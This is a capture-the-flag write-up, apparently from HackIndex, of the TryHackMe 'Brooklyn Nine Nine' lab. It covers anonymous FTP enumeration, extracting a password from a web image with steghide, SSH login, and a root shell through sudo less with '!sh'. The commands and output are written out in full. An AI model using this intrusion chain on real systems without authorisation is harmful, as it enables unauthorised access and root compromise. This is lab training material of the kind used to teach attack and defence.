# Brooklyn Nine Nine Writeup - TryHackMe

> Exploit anonymous FTP access and steganography to uncover credentials, then escalate privileges via misconfigured sudo permissions on a Linux machine.

- **URL:** https://hackindex.io/writeups/brooklynninenine
- **Platform:** TryHackMe
- **Difficulty:** Easy
- **Operating system:** Linux
- **Tags:** steganography, ftp, privilege-escalation, sudo-misconfiguration, gtfobins
- **Authors:** [Hackercat](https://hackindex.io/authors/hackercat.md)
- **Published:** 2026-09-13
- **Updated:** 2026-09-13

Brooklyn Nine Nine is an Easy Linux machine themed around the TV show. Anonymous FTP access leaks a note that hints at steganography. A password is hidden inside the website's background image using steghide. That password gives SSH access as one user. Privilege escalation comes from a sudo misconfiguration on `less`, which allows a root shell in a single command.

## Reconnaissance

```bash
nmap -sC -sV $TARGET_IP
# Starting Nmap 7.94 ( https://nmap.org ) at 2026-08-22 14:15 UTC
# Nmap scan report for $TARGET_IP
# Host is up (0.032s latency).
#
# PORT   STATE SERVICE VERSION
# 21/tcp open  ftp     vsftpd 3.0.3
# | ftp-anon: Anonymous FTP login allowed (FTP code 230)
# |_-rw-r--r--    1 0        0             119 May 17  2020 note_to_jake.txt
# | ftp-syst:
# |   STAT:
# | FTP server status:
# |     Connected to ::ffff:$ATTACKER_IP
# |     Logged in as ftp
# |_    TYPE: ASCII
# 22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
# | ssh-hostkey:
# |   2048 16:7f:2f:ee:0e:ad:15:e9:bc:ad:c9:7c:73:f0:92 (RSA)
# |   256 2e:3b:61:59:4b:c4:29:b5:e8:58:39:6f:6f:e9:9b:ee (ECDSA)
# |_  256 ab:16:2e:79:20:3c:9b:0a:01:9c:8c:44:26:01:58:04 (ED25519)
# 80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
# |_http-title: Site doesn't have a title (text/html).
# |_http-server-header: Apache/2.4.29 (Ubuntu)
# Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
#
# Nmap done: 1 IP address (1 host up) scanned in 9.84 seconds
```

Three services: FTP on port 21 with anonymous login enabled (Nmap already confirms this and shows a file), SSH on 22, and a web server on 80. Anonymous FTP is the immediate entry point. Nmap reports `ftp-anon: Anonymous FTP login allowed` and shows a file named `note_to_jake.txt` already sitting in the root.

## FTP Enumeration

```bash
ftp $TARGET_IP
# Connected to $TARGET_IP.
# 220 (vsFTPd 3.0.3)
# Name ($TARGET_IP:kali): anonymous
# 331 Please specify the password.
# Password:
# 230 Login successful.
# Remote system type is UNIX.
# Using binary mode to transfer files.
# ftp> ls
# 229 Entering Extended Passive Mode (|||22936|)
# 150 Here comes the directory listing.
# -rw-r--r--    1 0        0             119 May 17  2020 note_to_jake.txt
# 226 Directory send OK.
# ftp> get note_to_jake.txt
# local: note_to_jake.txt remote: note_to_jake.txt
# 229 Entering Extended Passive Mode (|||46530|)
# 150 Opening BINARY mode data connection for note_to_jake.txt (119 bytes).
#     119        1.79 KiB/s
# 226 Transfer complete.
# ftp> bye
# 221 Goodbye.
```

```bash
cat note_to_jake.txt
# From Amy,
#
# Jake please change your password. It is too weak and
# I will not be able to protect you. Also stop using
# the same password in your backup files.
#
# Amy
```

The note reveals a username (`jake`) and hints that his password is weak, making it bruteforceable. It also mentions "backup files," which is a hint toward steganography or hidden credentials elsewhere. The website is the next place to check.

## Steganography

The website's background image is a JPEG of the Brooklyn Nine Nine cast. Steghide is a tool that hides data inside image files using a passphrase. Trying an empty passphrase first:

```bash
wget http://$TARGET_IP/brooklyn99.jpg
# --2026-08-22 14:18:41--  http://$TARGET_IP/brooklyn99.jpg
# Connecting to $TARGET_IP:80... connected.
# HTTP request sent, awaiting response... 200 OK
# Length: 69685 (68K) [image/jpeg]
# Saving to: 'brooklyn99.jpg'
#
# brooklyn99.jpg        100%[===================>]  68.05K  --.-KB/s    in 0.1s
#
# 2026-08-22 14:18:41 (592 KB/s) - 'brooklyn99.jpg' saved [69685/69685]
```

```bash
steghide extract -sf brooklyn99.jpg
# Enter passphrase:
# wrote extracted data to "note.txt".
```

```bash
cat note.txt
# Holts Password:
# $HOLT_PASSWORD
#
# Enjoy!!
```

The image contained a hidden file extractable with an empty passphrase. It contains the SSH password for `holt`, not `jake`. The note from Amy mentioned Jake's password being weak, so either credential leads to the machine. Holt's password is ready to use directly.

## Initial Access

```bash
ssh holt@$TARGET_IP
# The authenticity of host '$TARGET_IP' can't be established.
# ECDSA key fingerprint is SHA256:Ofz3K2vgHJJHjWZ4nIH7OqDN5G0yEJDh0EvLSBxbKA.
# Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
# Warning: Permanently added '$TARGET_IP' (ECDSA) to the list of known hosts.
# holt@$TARGET_IP's password: $HOLT_PASSWORD
#
# Last login: Tue May 26 08:59:00 2020
```

```bash
id
# uid=1000(holt) gid=1000(holt) groups=1000(holt)
```

```bash
cat user.txt
# $USER_FLAG
```

## Privilege Escalation

```bash
sudo -l
# Matching Defaults entries for holt on brookly_nine_nine:
#     env_reset, mail_badpass,
#     secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
#
# User holt may run the following commands on brookly_nine_nine:
#     (ALL) NOPASSWD: /usr/bin/less
```

`less` is a file pager that reads files and allows scrolling through them. When run as root via sudo, it also accepts shell commands through its built-in command mode. Entering `!sh` inside `less` spawns a shell that inherits root privileges from the sudo invocation. This is documented on GTFOBins.

```bash
sudo less /etc/passwd
```

Inside the less pager, type `!sh` and press Enter to spawn a root shell.

```bash
id
# uid=0(root) gid=0(root) groups=0(root)
```

```bash
cat /root/root.txt
# $ROOT_FLAG
```

## Key Takeaways

- Nmap's `ftp-anon` script reports whether anonymous FTP login is allowed and lists the directory contents. This eliminates a separate enumeration step.
- Anonymous FTP is a critical misconfiguration. It exposes any file the FTP process can read to anyone on the network without authentication.
- When a note or hint mentions steganography, check all images on the web server with `steghide extract -sf <image>`. Always try an empty passphrase first.
- `sudo -l` is always the first privilege escalation check. Any binary listed on GTFOBins with sudo permission leads to a root shell. `less` spawns a shell with `!sh` from within the pager.
- Two paths exist on this machine: steganography (holt's credentials) or SSH bruteforcing jake's weak password. The stego path is faster and more reliable.

## References

- [TryHackMe: Brooklyn Nine Nine](https://tryhackme.com/room/brooklynninenine) - Room page
- [GTFOBins: less](https://gtfobins.github.io/gtfobins/less/) - Sudo escalation via less
- [HackIndex: FTP](https://hackindex.io/services/ftp) - FTP enumeration and exploitation
- [HackIndex: HTTP/HTTPS](https://hackindex.io/services/http-https) - Web enumeration methodology
